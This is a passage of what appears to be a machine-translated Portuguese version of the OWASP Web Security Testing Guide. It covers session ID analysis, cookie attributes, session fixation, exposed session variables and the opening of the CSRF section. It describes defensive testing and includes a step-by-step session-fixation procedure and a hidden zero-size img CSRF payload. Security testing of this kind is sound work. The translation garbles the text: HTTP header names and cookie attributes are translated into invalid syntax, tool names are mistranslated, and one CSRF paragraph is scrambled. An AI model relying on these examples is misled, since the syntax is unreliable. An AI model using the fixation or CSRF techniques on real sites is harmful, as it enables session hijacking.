ao tempo absoluto ou decorrido devem ser investigados. Muitos sistemas usam o tempo como uma semente para seus elementos pseudo-aleatórios. Onde os
padrões são aparentemente aleatórios, hashes unidirecionais de tempo ou outras variações ambientais devem ser consideradas como uma possibilidade.
Normalmente, o resultado de um hash criptográfico é um número decimal ou hexadecimal, portanto, deve ser identificável.
Ao analisar sequências, padrões ou ciclos de ID de Sessão, elementos estáticos e dependências do cliente devem ser considerados como possíveis elementos
contribuintes para a estrutura e função do aplicativo.
Os IDs de sessão são comprovadamente aleatórios por natureza? Os valores resultantes podem ser reproduzidos?
As mesmas condições de entrada produzem o mesmo ID em uma execução subsequente?
Os IDs de sessão são comprovadamente resistentes a análises estatísticas ou criptográficas?
Quais elementos dos IDs de sessão são vinculados ao tempo?

187
Quais partes dos IDs de sessão são previsíveis?
O próximo ID pode ser deduzido, dado o conhecimento total do algoritmo de geração e dos IDs anteriores?
Engenharia reversa de cookies
Agora que o testador enumerou os cookies e tem uma ideia geral de seu uso, é hora de dar uma olhada mais profunda nos cookies que parecem
interessantes. Em quais cookies o testador está interessado? Um cookie, para fornecer um método seguro de gerenciamento de sessão, deve
combinar várias características, cada uma das quais visa proteger o cookie de uma classe diferente de ataques.
Essas características estão resumidas a seguir:
1. Imprevisibilidade: um cookie deve conter uma certa quantidade de dados difíceis de adivinhar. Quanto mais difícil for forjar um cookie válido,
mais difícil será invadir a sessão do usuário legítimo. Se um invasor puder adivinhar o cookie usado em uma sessão ativa de um usuário
legítimo, ele poderá representar totalmente esse usuário (seqüestro de sessão). Para tornar um cookie imprevisível, valores aleatórios ou
criptografia podem ser usados.
2. Resistência à adulteração: um cookie deve resistir a tentativas maliciosas de modificação. Se o testador receber um cookie como se fosse
IsAdmin=Não , trivial modificá-lo para obter direitos administrativos, a menos que o aplicativo execute uma verificação dupla (por exemplo,
anexando ao cookie um hash criptografado de seu valor)
3. Expiração: um cookie crítico deve ser válido apenas por um período de tempo apropriado e deve ser excluído do disco ou da memória
posteriormente para evitar o risco de ser repetido. Isso não se aplica a cookies que armazenam dados não críticos que precisam ser
lembrados durante as sessões (por exemplo, aparência do site).
4. Sinalizador seguro : um cookie cujo valor é crítico para a integridade da sessão deve ter este sinalizador habilitado para
para permitir sua transmissão apenas em um canal criptografado para impedir a espionagem.
A abordagem aqui é coletar um número suficiente de instâncias de um cookie e começar a procurar padrões em seu valor.
O significado exato de “suficiente” pode variar de um punhado de amostras, se o método de geração de cookies for muito fácil de quebrar, a
vários milhares, se o testador precisar prosseguir com alguma análise matemática (por exemplo, qui-quadrado, atratores. Consulte mais tarde
para mais informações).
É importante prestar atenção especial ao fluxo de trabalho do aplicativo, pois o estado de uma sessão pode ter um forte impacto nos cookies
coletados. Um cookie coletado antes de ser autenticado pode ser muito diferente de um cookie obtido após a autenticação.
Outro aspecto a ter em consideração é o tempo. Sempre registre a hora exata em que um cookie foi obtido, quando houver a possibilidade de
que o tempo desempenhe um papel no valor do cookie (o servidor pode usar um registro de data e hora como parte do valor do cookie). A hora
registrada pode ser a hora local ou o tiemstamp do servidor incluído na resposta HTTP (ou ambos).
Ao analisar os valores coletados, o testador deve tentar descobrir todas as variáveis que podem ter influenciado o valor do cookie e tentar variá-
las uma de cada vez. Passar para o servidor versões modificadas do mesmo cookie pode ser muito útil para entender como o aplicativo lê e
processa o cookie.
Exemplos de verificações a serem realizadas nesta fase incluem:
Qual conjunto de caracteres é usado no cookie? O cookie tem um valor numérico? alfanumérico? hexadecimal? O que acontece se o
testador inserir em um cookie caracteres que não pertençam ao charset esperado?
O cookie é composto de diferentes subpartes contendo diferentes informações? Como as diferentes partes são separadas? Com quais
delimitadores? Algumas partes do cookie podem ter uma variação maior, outras podem ser constantes, outras podem assumir apenas um
conjunto limitado de valores. Quebrar o cookie em seus componentes básicos é o primeiro e fundamental passo.
Um exemplo de um cookie estruturado fácil de identificar é o seguinte:
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q
188
Este exemplo mostra 5 campos diferentes, carregando diferentes tipos de dados:
ID - hexadecimal
CR - inteiro pequeno
TM e LM – inteiro grande. (E curiosamente possuem o mesmo valor. Vale a pena ver o que acontece modificando um deles)
S - alfanumérico
Mesmo quando nenhum delimitador é usado, ter amostras suficientes pode ajudar a entender a estrutura.
Ataques de Força Bruta
Os ataques de força bruta inevitavelmente partem de questões relacionadas à previsibilidade e à aleatoriedade. A variação nos IDs de sessão deve
ser considerada juntamente com a duração e os tempos limite da sessão do aplicativo. Se a variação nos IDs de sessão for relativamente pequena
e a validade do ID de sessão for longa, a probabilidade de um ataque de força bruta bem-sucedido é muito maior.
Um ID de sessão longo (ou melhor, um com muita variação) e um período de validade mais curto tornariam muito mais difícil o sucesso em um
ataque de força bruta.
Quanto tempo levaria um ataque de força bruta em todos os IDs de sessão possíveis?
O espaço do ID da sessão é grande o suficiente para evitar força bruta? Por exemplo, o comprimento da chave é suficiente quando comparado
ao tempo de vida válido?
Os atrasos entre as tentativas de conexão com diferentes IDs de sessão atenuam o risco desse ataque?
Teste de caixa cinza e exemplo

Se o testador tiver acesso à implementação do esquema de gerenciamento de sessão, ele poderá verificar o seguinte:
Token de Sessão Aleatória
O ID de sessão ou Cookie emitido para o cliente não deve ser facilmente previsível (não use algoritmos lineares baseados em variáveis
previsíveis, como o endereço IP do cliente). O uso de algoritmos criptográficos com comprimento de chave de 256 bits é encorajado (como
AES).
Comprimento do token
O ID da sessão terá pelo menos 50 caracteres.
Sessão expirada
O token de sessão deve ter um tempo limite definido (depende da criticidade dos dados gerenciados pelo aplicativo)
Configuração de cookies:
não persistente: apenas memória RAM
seguro (definido apenas no canal HTTPS): Set-Cookie: cookie=data; caminho=/; domínio=.aaa.it; seguro HTTPOnly (não
legível por um script): Set-Cookie: cookie=data; caminho=/; domínio=.aaa.it; HttpOnly
Mais informações aqui: Teste de atributos de cookies
Ferramentas
Projeto de Proxy de Ataque Zed OWASP (ZAP) - apresenta um mecanismo de análise de token de sessão.
Sequenciador de arrotos
JHijack do YEHG
189
Referências
Artigos técnicos
RFC 2965 “Mecanismo de gerenciamento de estado HTTP”
RFC 1750 “Recomendações de aleatoriedade para segurança”
Michal Zalewski: “Atratores estranhos e análise de número de sequência TCP/IP” (2001)

Michal Zalewski: “Atratores estranhos e análise de número de sequência TCP/IP - um ano depois” (2002)
Coeficiente de correlação
ORL
DMA[2005-0614a] - 'Excesso de cookie global Hauri ViRobot Server'
Gunter Ollmann: “Gerenciamento de sessão baseado na Web”

Guia de Revisão de Código OWASP
190
Testando atributos de cookies
EU IRIA
WSTG-SESS-02
Resumo
Os cookies da Web (aqui referidos como cookies) costumam ser um vetor de ataque importante para usuários mal-intencionados (normalmente
direcionados a outros usuários) e o aplicativo deve sempre tomar a devida diligência para proteger os cookies.
O HTTP é um protocolo sem estado, o que significa que não contém nenhuma referência a solicitações enviadas pelo mesmo usuário. Para corrigir esse
problema, as sessões foram criadas e anexadas às solicitações HTTP. Os navegadores, conforme discutido no teste de armazenamento do navegador,
contêm vários mecanismos de armazenamento. Nessa seção do guia, cada um é discutido minuciosamente.
O mecanismo de armazenamento de sessão mais usado em navegadores é o armazenamento de cookies. Os cookies podem ser definidos pelo
servidor, incluindo um Set-Cookie cabeçalho na resposta HTTP ou via JavaScript. Os cookies podem ser usados por vários motivos, como:
gerenciamento de sessão
personalização
rastreamento
Para proteger os dados de cookies, a indústria desenvolveu meios para ajudar a bloquear esses cookies e limitar sua superfície de ataque. Com o tempo,
os cookies se tornaram um mecanismo de armazenamento preferencial para aplicativos da web, pois permitem grande flexibilidade no uso e proteção.
Os meios para proteger os cookies são:
Atributos de cookies
Prefixos de cookies
Objetivos do teste
Certifique-se de que a configuração de segurança adequada esteja definida para cookies.
Como testar
Abaixo, uma descrição de cada atributo e prefixo será discutida. O testador deve validar se eles estão sendo usados corretamente pelo aplicativo. Os
cookies podem ser revisados usando um proxy de interceptação ou revisando o jarro de cookies do navegador.
Atributos de cookies
Atributo seguro
o seguro O atributo informa ao navegador para enviar o cookie apenas se a solicitação estiver sendo enviada por um canal seguro, como HTTPS . Isso
ajudará a proteger o cookie de ser transmitido em solicitações não criptografadas. Se o aplicativo puder ser acessado por HTTP e HTTPS
, um invasor pode redirecionar o usuário para enviar seu cookie como parte de
solicitações não protegidas.
Atributo HttpOnly
O HttpOnly O atributo é usado para ajudar a prevenir ataques como vazamento de sessão, pois não permite que o cookie seja acessado por meio de um script do lado do cliente, como
JavaScript.
191
Isso não limita toda a superfície de ataque dos ataques XSS, pois um invasor ainda pode enviar solicitações no lugar do usuário, mas limita
imensamente o alcance dos vetores de ataque XSS.
Atributo de domínio
O domínio O atributo é usado para comparar o domínio do cookie com o domínio do servidor para o qual a solicitação HTTP está sendo feita. Se
o domínio corresponder ou se for um subdomínio, o atributo path será verificado em seguida.
Observe que apenas os hosts que pertencem ao domínio especificado podem definir um cookie para esse domínio. Além disso, o atributo de
domínio não pode ser um domínio de nível superior (como .gov ou .com ) para impedir que os servidores definam cookies arbitrários para outro
domínio (como definir um cookie para owasp.org ). Se o atributo de domínio não for definido, o nome do host do servidor que gerou o cookie será
usado como o valor padrão do domínio .
Por exemplo, se um cookie for definido por um aplicativo em app.mydomain.com sem nenhum atributo de domínio definido, o cookie será
reenviado para todas as solicitações subsequentes para app.mydomain.com e seus subdomínios (como hacker.app.mydomain .com ), mas não
para otherapp.mydomain.com . Se um desenvolvedor quisesse afrouxar essa restrição, ele poderia definir o atributo de domínio como
mydomain.com . Nesse caso, o cookie seria enviado para todas as solicitações dos subdomínios app.mydomain.com e mydomain.com , como
hacker.app.mydomain.com , e até bank.mydomain.com . Se houver um servidor vulnerável em um subdomínio (por exemplo,
otherapp.mydomain.com ) e o atributo de domínio tiver sido definido de maneira muito vaga (por exemplo, mydomain.com ), o servidor vulnerável
poderá ser usado para coletar cookies (como tokens de sessão) em todo o escopo de mydomain.com .
Atributo de caminho
o caminho atributo desempenha um papel importante na definição do escopo dos cookies em conjunto com o domínio . Além do domínio, o
caminho da URL para o qual o cookie é válido pode ser especificado. Se o domínio e o caminho corresponderem, o cookie será enviado na
solicitação. Assim como com o atributo de domínio, se o atributo de caminho for definido de maneira muito vaga, ele poderá deixar o aplicativo
vulnerável a ataques de outros aplicativos no mesmo servidor. Por exemplo, se o atributo path foi definido como a raiz do servidor da Web /
, então os cookies do aplicativo serão enviados para todos os aplicativos dentro do mesmo domínio (se vários
aplicação residem no mesmo servidor). Alguns exemplos para vários aplicativos no mesmo servidor:
caminho=/banco
caminho=/privado
path=/docs
path=/docs/admin
Atributo Expira
O Expira atributo é usado para:
definir cookies persistentes
limita a vida útil se uma sessão dura muito tempo
remover um cookie à força, definindo-o para uma data passada
Ao contrário dos cookies de sessão, cookies persistentes serão usados pelo navegador até que o cookie expire. Assim que a data de expiração
exceder o tempo definido, o navegador excluirá o cookie.
Atributo SameSite
O mesmo site O atributo é usado para afirmar que um cookie não deve ser enviado junto com solicitações entre sites. Esse recurso permite que o
servidor reduza o risco de vazamento de informações entre organizações. Em alguns casos, também é usado como uma estratégia de redução
de risco (ou mecanismo de defesa em profundidade) para evitar ataques de falsificação de solicitação entre sites . Este atributo pode ser
configurado em três modos diferentes:
Rigoroso
relaxado
Nenhum
Valor estrito
Machine
192
O valor Strict é o uso mais restritivo de SameSite , permitindo que o navegadorenvie o cookie apenas para o contexto primário sem navegação de nível
superior. Ou seja, os dados associados ao cookie serão enviados apenas em solicitações correspondentes ao site atual mostrado na barra de URL do
navegador. O cookie não será enviado em solicitações geradas por sites de terceiros. Este valor é especialmente recomendado para ações executadas
no mesmo domínio. No entanto, pode ter algumas limitações com alguns sistemas de gerenciamento de sessão afetando negativamente a experiência
de navegação do usuário. Como o navegador não enviaria o cookie em nenhuma solicitação gerada por um domínio ou e-mail de terceiros, o usuário
seria obrigado a entrar novamente, mesmo que já tivesse uma sessão autenticada.
Valor Lax
O valor Lax é menos restritivo que Strict . O cookie será enviado se a URL for igual ao domínio do cookie (primeiro), mesmo que o link seja proveniente
de um domínio de terceiros. Esse valor é considerado pela maioria dos navegadores o comportamento padrão, pois fornece uma experiência de usuário
melhor do que o valor Strict . Ele não é acionado para ativos, como imagens, em que os cookies podem não ser necessários para acessá-los.
Nenhum valor
O valor None especifica que o navegador enviará o cookie em solicitações entre sites (o comportamento normal antes da implementação de SamseSite )
somente se o atributo Secure também for usado, por exemplo , SameSite=None; seguro . É um
valor recomendado, ao invés de não especificar nenhum valor SameSite , pois força o uso do atributo secure .
Prefixos de cookies
Por design, os cookies não têm capacidade para garantir a integridade e confidencialidade das informações neles armazenadas. Essas limitações
tornam impossível para um servidor ter confiança sobre como os atributos de um determinado cookie foram definidos na criação. Para fornecer
aos servidores esses recursos de maneira compatível com versões anteriores, o setor introduziu o conceito de prefixos de nome de cookie para
facilitar a passagem de tais detalhes incorporados como parte do nome do cookie.
Prefixo do host
O __Host- prefix espera que os cookies cumpram as seguintes condições:
1. O cookie deve ser configurado com o atributo Secure .
2. O cookie deve ser definido a partir de um URI considerado seguro pelo agente do usuário.
3. Enviado apenas para o host que definiu o cookie e NÃO DEVE incluir nenhum atributo de domínio .
4. O cookie deve ser definido com o atributo Path com um valor de / para que seja enviado a cada solicitação ao host.
Por esse motivo, o cookie Set-Cookie: __Host-SID=12345; Seguro; Path=/ seria aceito enquanto qualquer um dos seguintes sempre seria rejeitado: Set-
Cookie: __Host-SID=12345 Set-Cookie: __Host-SID=12345; Secure Set-Cookie: __Host-SID=12345; Domain=site.example Set-Cookie: __Host-SID=12345;
Domínio=site.exemplo;
Path=/ Set-Cookie: __Host-SID=12345; Seguro; Domínio=site.exemplo; Caminho=/
Prefixo seguro
O __Seguro- prefixo é menos restritivo e pode ser introduzido adicionando a string __Secure- com distinção entre maiúsculas e minúsculas ao nome do
cookie. Espera-se que qualquer cookie que corresponda ao prefixo __Secure- atenda às seguintes condições:
1. O cookie deve ser configurado com o atributo Secure .
2. O cookie deve ser definido a partir de um URI considerado seguro pelo agente do usuário.
Práticas Fortes
Com base nas necessidades do aplicativo e como o cookie deve funcionar, os atributos e prefixos devem ser aplicados. o
quanto mais o cookie estiver bloqueado, melhor.
Juntando tudo isso, podemos definir a configuração de atributo de cookie mais segura como: Set-Cookie: __Host-SID= <token de sessão>; caminho=/;
Seguro; HttpOnly; SameSite=Strict .
Ferramentas
Proxy de interceptação
193
Projeto de Proxy de Ataque Zed OWASP

Web Proxy Burp Suite
Plug-in do navegador
Dados de adulteração para FF Quantum
“FireSheep” para FireFox

“EditThisCookie” para Chrome
“Cookiebro - Gerenciador de Cookies” para FireFox
Referências
RFC 2965 - Mecanismo de Gerenciamento de Estado HTTP RFC
2616 – Protocolo de Transferência de Hipertexto – HTTP 1.1
Cookies do mesmo site - draft-ietf-httpbis-cookie-same-site-00
O importante atributo “expira” de Set-Cookie
ID da sessão HttpOnly no URL e no corpo da página

194
Teste para fixação de sessão
EU IRIA
WSTG-SESS-03
Resumo
A fixação da sessão é possibilitada pela prática insegura de preservar o mesmo valor dos cookies da sessão antes e depois da autenticação.
Isso geralmente acontece quando os cookies de sessão são usados para armazenar informações de estado antes mesmo do login, por
exemplo, para adicionar itens a um carrinho de compras antes de autenticar para pagamento.
Na exploração genérica de vulnerabilidades de fixação de sessão, um invasor pode obter um conjunto de cookies de sessão do site de destino
sem autenticação prévia. O invasor pode forçar esses cookies no navegador da vítima usando diferentes técnicas. Se a vítima se autenticar
posteriormente no site de destino e os cookies não forem atualizados no login, a vítima será identificada pelos cookies de sessão escolhidos
pelo invasor. O invasor pode então representar a vítima com esses cookies conhecidos.
Esse problema pode ser corrigido atualizando os cookies da sessão após o processo de autenticação. Como alternativa, o ataque pode ser
evitado garantindo a integridade dos cookies de sessão. Ao considerar invasores de rede, ou seja, invasores que controlam a rede usada pela
vítima, use HSTS completo ou adicione o prefixo __Host- / __Secure- ao nome do cookie.
A adoção completa do HSTS ocorre quando um host ativa o HSTS para si mesmo e para todos os seus subdomínios. Isso é descrito em um
artigo chamado Testing for Integrity Flaws in Web Sessions , de Stefano Calzavara, Alvise Rabitti, Alessio Ragazzo e Michele Bugliesi.
Objetivos do teste
Analise o mecanismo de autenticação e seu fluxo.
Force cookies e avalie o impacto.
Como testar
Nesta seção damos uma explicação da estratégia de teste que será mostrada na próxima seção.
O primeiro passo é fazer uma solicitação ao site a ser testado (por exemplo , www.example.com ). Se o testador solicitar o seguinte:
GET / HTTP/1.1
Eles obterão a seguinte resposta:
HTTP/1.1 200 OK
Data: quarta-feira, 14 de agosto de 2008 08:45:11 GMT
Servidor: IBM_HTTP_Server
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Caminho=/; seguro
Cache-Control: no-cache="set-cookie,set-cookie2"
Expira: quinta-feira, 01 de dezembro de 1994 16:00:00 GMT
Keep-Alive: timeout=5, max=100
Conexão: Keep-Alive
Tipo de conteúdo: text/html;charset=Cp1254
Idioma do conteúdo: en-US
195
O aplicativo configura um novo identificador de sessão, JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 , para o cliente.
Em seguida, se o testador for autenticado com sucesso no aplicativo com o seguinte POST para
https://www.example.com/authentication.php :
POST /authentication.php HTTP/1.1 Host:

www.example.com [...]
Referer: http://www.example.com Cookie:

JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 Content-Type:
application/x-www-form-urlencoded Content-length: 57
Name=Meucci&wpPassword=secret!&wpLoginattempt=Login
O testador observa a seguinte resposta do servidor:
HTTP/1.1 200 OK
Data: quinta-feira, 14 de agosto de 2008
14:52:58 GMT Servidor: Apache/2.2.2 (Fedora)
X-Powered-By: PHP/5.1.6
Linguagem do conteúdo: en
Cache-Control: privado, deve-revalidar, max-age=0 X-Content-
Encoding: gzip Comprimento do conteúdo: 4090 Conexão: fechar
Tipo de conteúdo: texto/html; conjunto de caracteres = UTF-8

...
dados HTML
...
Como nenhum novo cookie foi emitido após uma autenticação bem-sucedida, o testador sabe que é possível executar o seqüestro de sessão,
a menos que a integridade do cookie da sessão seja garantida.
O testador pode enviar um identificador de sessão válido para um usuário (possivelmente usando um truque de engenharia social), aguardar
a autenticação e, posteriormente, verificar se os privilégios foram atribuídos a esse cookie.
Teste com cookies forçados
Essa estratégia de teste é direcionada a invasores de rede, portanto, só precisa ser aplicada a sites sem adoção total de HSTS (sites com
adoção total de HSTS são seguros, pois todos os seus cookies têm integridade). Assumimos que temos duas contas de teste no site em
teste, uma para atuar como vítima e outra como invasor. Simulamos um cenário em que o invasor força no navegador da vítima todos os
cookies que não são emitidos recentemente após o login e não possuem integridade. Após o login da vítima, o invasor apresenta os cookies
forçados ao site para acessar a conta da vítima: se forem suficientes para agir em nome da vítima, a fixação da sessão é possível.
Aqui estão as etapas para executar este teste:
1. Acesse a página de login do site.
2. Salve um instantâneo do cookie jar antes de fazer login, excluindo os cookies que contêm __Host- ou __Secure
prefixo em seu nome.
3. Faça login no site como vítima e acesse qualquer página que ofereça uma função segura que exija autenticação.
4. Defina o cookie jar para o instantâneo obtido na etapa 2.
5. Acione a função segura identificada na etapa 3.
6. Observe se a operação na etapa 5 foi executada com sucesso. Nesse caso, o ataque foi bem-sucedido.
7. Limpe o pote de cookies, faça login como o invasor e acesse a página na etapa 3.
8. Escreva no pote de biscoitos, um a um, os biscoitos salvos no passo 2.

196
9. Acione novamente a função segura identificada na etapa 3.
10. Limpe o pote de cookies e faça o login novamente como a vítima.
11. Observe se a operação do passo 9 foi realizada com sucesso na conta da vítima. Se sim, o ataque
foi bem sucedido; caso contrário, o site é seguro contra fixação de sessão.
Recomendamos o uso de duas máquinas ou navegadores diferentes para a vítima e o invasor. Isso permite diminuir o número de falsos positivos se o
aplicativo da web fizer impressões digitais para verificar o acesso habilitado a partir de um determinado cookie. Uma variante mais curta, mas menos precisa,
da estratégia de teste requer apenas uma conta de teste. Ele segue os mesmos passos, mas para no passo 6.
Remediação
Implemente uma renovação de token de sessão após a autenticação bem-sucedida de um usuário.
O aplicativo sempre deve primeiro invalidar o ID de sessão existente antes de autenticar um usuário e, se a autenticação for bem-sucedida, fornecer outro ID
de sessão.
Ferramentas
OWASP ZAP
Referências
Fixação de Sessão
Segurança ACROS
Chris Shiflett
197
Teste para variáveis de sessão expostas
EU IRIA
WSTG-SESS-04
Resumo
Os tokens de sessão (Cookie, SessionID, campo oculto), se expostos, geralmente permitem que um invasor se faça passar por uma vítima e acesse o
aplicativo de forma ilegítima. É importante que eles estejam sempre protegidos contra espionagem, principalmente durante o trânsito entre o navegador do
cliente e os servidores de aplicativos.
As informações aqui se referem a como a segurança de transporte se aplica à transferência de dados de ID de sessão confidenciais, em vez de dados em
geral, e pode ser mais rigorosa do que as políticas de armazenamento em cache e transporte aplicadas aos dados servidos pelo site.
Usando um proxy pessoal, é possível verificar o seguinte sobre cada solicitação e resposta:
Protocolo usado (por exemplo, HTTP vs. HTTPS)
Cabeçalhos HTTP
Corpo da mensagem (por exemplo, POST ou conteúdo da página)
Cada vez que os dados de ID de sessão são transmitidos entre o cliente e o servidor, o protocolo, o cache e as diretivas e o corpo de privacidade devem ser
examinados. A segurança de transporte aqui se refere a IDs de sessão passados em solicitações GET ou POST, corpos de mensagens ou outros meios em
solicitações HTTP válidas.
Objetivos do teste
Certifique-se de que a criptografia adequada seja implementada.
Revise a configuração de cache.
Avalie a segurança do canal e dos métodos.
Como testar
Teste de vulnerabilidades de criptografia e reutilização de tokens de sessão A proteção contra
espionagem geralmente é fornecida pela criptografia SSL, mas pode incorporar outro túnel ou criptografia.
Deve-se observar que a criptografia ou hashing criptográfico do ID da sessão deve ser considerada separadamente da criptografia de transporte, pois é o
próprio ID da sessão que está sendo protegido, não os dados que podem ser representados por ele.
Se o ID da sessão puder ser apresentado por um invasor ao aplicativo para obter acesso, ele deverá ser protegido em trânsito para mitigar esse risco.
Portanto, deve-se garantir que a criptografia seja padrão e aplicada para qualquer solicitação ou resposta em que o ID da sessão seja passado,
independentemente do mecanismo usado (por exemplo, um campo de formulário oculto). Verificações simples, como substituir https:// por http:// durante a
interação com o aplicativo, devem ser realizadas, juntamente com a modificação das postagens do formulário para determinar se a segregação adequada
entre os sites seguros e não seguros foi implementada.
Observe que, se também houver um elemento no site em que o usuário é rastreado com IDs de sessão, mas a segurança não está presente (por exemplo,
observando quais documentos públicos um usuário registrado baixa), é essencial que um ID de sessão diferente seja usado. O ID da sessão deve, portanto,
ser monitorado à medida que o cliente muda dos elementos seguros para os não seguros para garantir uma
diferente é usado.
Sempre que a autenticação for bem-sucedida, o usuário deve esperar receber:
Um token de sessão diferente

198
Um token enviado por canal criptografado toda vez que eles fazem uma solicitação HTTP
Teste de proxies e vulnerabilidades de cache

Os proxies também devem ser considerados ao revisar a segurança do aplicativo. Em muitos casos, os clientes acessarão o aplicativo por meio da empresa, ISP
ou outros proxies ou gateways com reconhecimento de protocolo (por exemplo, firewalls). O protocolo HTTP fornece diretivas para controlar o comportamento
dos proxies downstream, e a implementação correta dessas diretivas também deve ser avaliada.
Em geral, o ID da sessão nunca deve ser enviado por transporte não criptografado e nunca deve ser armazenado em cache. O aplicativo deve ser examinado
para garantir que as comunicações criptografadas sejam o padrão e aplicadas para qualquer transferência de IDs de sessão. Além disso, sempre que o ID da
Sessão for passado, as diretivas devem estar em vigor para impedir seu armazenamento em cache por caches intermediários e até mesmo locais.
O aplicativo também deve ser configurado para proteger dados em caches em HTTP/1.0 e HTTP/1.1 – RFC 2616 discute os controles apropriados com referência
a HTTP. O HTTP/1.1 fornece vários mecanismos de controle de cache.
Cache-Control: no-cache indica que um proxy não deve reutilizar nenhum dado. Embora Cache-Control: Private pareça ser uma diretiva adequada, isso ainda
permite que um proxy não compartilhado armazene dados em cache. No caso de web-cafés ou outros sistemas compartilhados, isso representa um risco claro.
Mesmo com estações de trabalho de usuário único, o ID de sessão em cache pode ser exposto por meio de um comprometimento do sistema de arquivos ou
onde os armazenamentos de rede são usados. Os caches HTTP/1.0 não reconhecem a diretiva Cache Control: no-cache .
As diretivas Expires: 0 e Cache-Control: max-age=0 devem ser usadas para garantir que os caches não exponham os dados. Cada solicitação/resposta
que passa por dados de ID de sessão deve ser examinada para garantir que as diretivas de cache apropriadas estejam em uso.
Testando as vulnerabilidades GET e POST Em geral, as
solicitações GET não devem ser usadas, pois o ID da sessão pode ser exposto nos logs do Proxy ou do Firewall. Eles também são muito mais fáceis de
manipular do que outros tipos de transporte, embora deva ser notado que quase qualquer mecanismo pode ser manipulado pelo cliente com as ferramentas
certas. Além disso, Cross-site Scripting (XSS) os ataques são mais facilmente explorados enviando um link especialmente construído para a vítima. Isso é muito
menos provável se os dados forem enviados do cliente como POSTs.
Todo código do lado do servidor que recebe dados de solicitações POST deve ser testado para garantir que não aceite os dados se enviados como um GET. Por
exemplo, considere a seguinte solicitação POST ( http://owaspapp.com/login.asp ) gerada por um login
página.
POST /login.asp HTTP/1.1 Host:

owaspapp.com [...]
Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG
Login=Nome de usuário&senha=Senha&SessionID=12345678
Se o login.asp estiver mal implementado, pode ser possível fazer login usando o seguinte URL:
http://owaspapp.com/login.asp?Login=Username&password=Password&SessionID=12345678
Os scripts do lado do servidor potencialmente inseguros podem ser identificados verificando cada POST dessa maneira.
Testando vulnerabilidades de transporte Toda interação
entre o cliente e o aplicativo deve ser testada pelo menos em relação aos critérios a seguir.
Como os IDs de sessão são transferidos? por exemplo, GET, POST, Campo de formulário (incluindo campos ocultos)
Os IDs de sessão são sempre enviados por transporte criptografado por padrão?
É possível manipular o aplicativo para enviar IDs de sessão não criptografados? por exemplo, alterando HTTP para HTTPS?
199
Quais diretivas de controle de cache são aplicadas a solicitações/respostas que passam IDs de sessão?
Essas diretivas estão sempre presentes? Se não, onde estão as exceções?
As solicitações GET que incorporam o ID da sessão são usadas?
Se POST for usado, ele pode ser trocado por GET?
Referências
Artigos técnicos
RFCs 2109 e 2965 – Mecanismo de gerenciamento de estado HTTP [D. Kristol, L. Montulli]
RFC 2616 – Protocolo de Transferência de Hipertexto - HTTP/1.1

200
Teste para falsificação de solicitação entre sites
EU IRIA
WSTG-SESS-05
Resumo
Falsificação de solicitação entre sites (CSRF) é um ataque que força um usuário final a executar ações não intencionais em um aplicativo da Web no qual ele
está autenticado no momento. Com um pouco de ajuda de engenharia social (como enviar um link por e-mail ou bate-papo), um invasor pode forçar os usuários
de um aplicativo da Web a executar ações de sua escolha. Uma exploração CSRF bem-sucedida pode comprometer os dados e a operação do usuário final
quando visa um usuário normal. Se o usuário final visado for a conta do administrador, um ataque CSRF pode comprometer todo o aplicativo da web.
O CSRF depende de:
1. Comportamento do navegador da Web em relação ao manuseio de informações relacionadas à sessão, como cookies e informações de autenticação HTTP.
2. O conhecimento de um invasor sobre URLs, solicitações ou funcionalidades válidas de aplicativos da Web.
3. Gerenciamento de sessão do aplicativo contando apenas com informações conhecidas pelo navegador.
4. Existência de tags HTML cuja presença causa acesso imediato a um recurso HTTP[S]; por exemplo a imagem
etiqueta img .
Os pontos 1, 2 e 3 são essenciais para que a vulnerabilidade esteja presente, enquanto o ponto 4 facilita a exploração real, mas não é estritamente necessário.
1. Os navegadores enviam automaticamente informações usadas para identificar uma sessão do usuário. Suponha que o site seja um site que hospeda um
aplicativo da web e o usuário vítima acabou de se autenticar no site. Em resposta, o site envia à vítima um cookie que identifica as solicitações enviadas
pela vítima como pertencentes à sessão autenticada da vítima . Assim que o navegador receber o cookie definido pelo site, ele o enviará automaticamente
junto com quaisquer outras solicitações direcionadas ao site.
2. Se o aplicativo não fizer uso de informações relacionadas à sessão em URLs, os URLs do aplicativo, seus parâmetros e valores legítimos poderão ser
identificados. Isso pode ser feito por análise de código ou acessando o aplicativo e anotando formulários e URLs incorporados no HTML ou JavaScript.
3. “Conhecido pelo navegador” refere-se a informações como cookies ou informações de autenticação baseadas em HTTP (como autenticação básica e não
autenticação baseada em formulário), que são armazenadas pelo navegador e posteriormente apresentadas a cada solicitação direcionada a uma área de
aplicativo solicitando essa autenticação. As vulnerabilidades discutidas a seguir se aplicam a aplicativos que dependem inteiramente desse tipo de
informação para identificar uma sessão de usuário.
Para simplificar, considere URLs acessíveis por GET (embora a discussão também se aplique a solicitações POST). Se a vítima já se autenticou, enviar outra
solicitação faz com que o cookie seja enviado automaticamente com ela.
A figura abaixo ilustra o usuário acessando um aplicativo em www.example.com .

201
Figura 4.6.5-1: Equitação da Sessão
A solicitação GET pode ser enviada pelo usuário de várias maneiras diferentes:
Usando o aplicativo da web
Digitando a URL diretamente no navegador
Seguindo um link externo que aponta para o URL
Essas invocações são indistinguíveis pelo aplicativo. Em particular, o terceiro pode ser bastante perigoso. Existem várias técnicas e
vulnerabilidades que podem disfarçar as propriedades reais de um link. O link pode ser incorporado em uma mensagem de e-mail, aparecer
em um site malicioso para o qual o usuário é atraído ou aparecer em conteúdo hospedado por terceiros (como outro site ou e-mail em
HTML) e apontar para um recurso do aplicativo . Se o usuário clicar no link, por já estar autenticado pela aplicação web no site, o
navegador emitirá uma solicitação GET para a aplicação web, acompanhada das informações de autenticação (o cookie de identificação
da sessão). Isso resulta na execução de uma operação válida no aplicativo da web que o usuário não esperava; por exemplo, uma
transferência de fundos em um aplicativo bancário da web.
conforme
Ao usar uma tag como img , link. Suponha especificado
que no ponto
o invasor envie 4 acima,
ao usuário umnem mesmo
e-mail é necessário
induzindo-o que
a visitar o usuário
uma siga umadeterminado
URL referente uma página
contendo o seguinte HTML (simplificado demais).
<html>
<corpo>
...
<img src="https://www.company.example/action" width="0" height="0">
...
</body>
</html>
